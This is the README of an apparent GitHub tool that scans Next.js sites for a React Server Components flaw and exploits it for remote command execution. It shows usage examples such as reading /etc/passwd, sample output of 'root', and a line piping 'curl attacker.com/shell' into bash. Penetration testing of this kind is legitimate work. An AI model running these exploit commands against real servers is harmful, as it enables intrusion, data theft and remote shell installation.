
A Python-based security scanner for detecting and exploiting **React Server Components (RSC)** vulnerabilities in Next.js applications. This tool performs passive detection, active fingerprinting, and RCE exploitation testing.
A Python-based security scanner for detecting and exploiting React Server Components (RSC) vulnerabilities in Next.js applications. This tool performs passive detection, active fingerprinting, and RCE exploitation testing.
⚠️ WARNING: This tool is for authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.
✅ Passive Detection - Analyzes HTML, headers, and page structure for RSC indicators
✅ Active Fingerprinting - Sends RSC-specific headers to detect server responses
✅ HTTP Header Analysis - Identifies Next.js and RSC-related headers
✅ RCE Exploitation - Executes commands on vulnerable servers (if exploitable)
✅ Colored Terminal Output - Enhanced visual feedback for better readability
✅ Interactive Mode - Execute multiple commands in exploitation mode
✅ Robust Decoding - Handles gzip-compressed and binary payloads
Clone the repository
git clone https://github.com/mahaveer-choudhary/CVE-2025-55182.git
cd CVE-2025-55182
Install dependencies
pip install -r requirements.txt
Required packages:
requests>=2.28.0 - HTTP client libraryurllib3>=1.26.0 - Advanced HTTP utilitiescolorama>=0.4.6 - Terminal colors (Windows compatible)beautifulsoup4 - HTML parsingpython rsc_detector.py https://example.com
python rsc_detector.py https://example.com --exploit
python rsc_detector.py https://example.com --exploit --cmd "whoami"
python rsc_detector.py https://example.com --exploit
Then enter commands at the prompt (type quit to exit).
| Option | Description |
|---|---|
<URL> | Target URL (required). Auto-prefixes https:// if missing |
--exploit | Enable RCE exploitation after detection |
--cmd <command> | Execute a specific command (use with --exploit) |
Detect RSC vulnerability:
python rsc_detector.py https://target.com
Exploit and run id command:
python rsc_detector.py https://target.com --exploit --cmd "id"
Exploit and run cat /etc/passwd:
python rsc_detector.py https://target.com --exploit --cmd "cat /etc/passwd"
Interactive mode (multiple commands):
python rsc_detector.py https://target.com --exploit
window.__next_f marker (Next.js App Router)text/x-component Content-Type__NEXT_DATA__ and Next.js importsServer, Vary, and X-Nextjs-Cache headersRSC: 1 header[*] Starting RSC Detection Scan on: https://example.com
====================================================================
[1] Running Passive Scan...
Status: DETECTED
Score: 80/100
- Found: window.__next_f (App Router)
[2] Analyzing Headers...
- Vary header includes RSC: ...
[3] Running Active Fingerprint...
Status: DETECTED
- Response Content-Type became text/x-component
- Vary header contains 'RSC'
====================================================================
[FINAL RESULT] VULNERABLE
[!] This application appears to be vulnerable to RSC-based attacks!
Consider: RCE exploitation may be possible
[*] Executing command: whoami
[+] Command executed successfully!
[OUTPUT]
root
CVE-2025-55182 exploits:
child_process.execSync()This tool is STRICTLY FOR AUTHORIZED SECURITY TESTING ONLY:
Unauthorized computer access is illegal under:
If you discover a vulnerability using this tool:
The tool ignores SSL verification by default. To enable verification:
detector = RSCDetector(url, verify_ssl=True)
The tool automatically:
Increase timeout in the code:
response = self.session.get(self.url, timeout=30) # 30 seconds
CVE-2025-55182/
├── README.md # This file
├── requirements.txt # Python dependencies
├── rsc_detector.py # Main scanner & exploit engine
├── rsc_cli.py # CLI utilities (if present)
├── script.py # Additional scripts (if present)
├── COLOR_GUIDE.md # Color output documentation
└── .gitignore # Git ignore rules
requests>=2.28.0 # HTTP requests
urllib3>=1.26.0 # Advanced HTTP
beautifulsoup4>=4.11.0 # HTML parsing
colorama>=0.4.6 # Terminal colors (Windows)
Install all at once:
pip install -r requirements.txt
--exploit flag if only scanningpython rsc_detector.py https://target.com --exploit --cmd "curl attacker.com/shell | bash"
python rsc_detector.py https://target.com > scan_results.txt 2>&1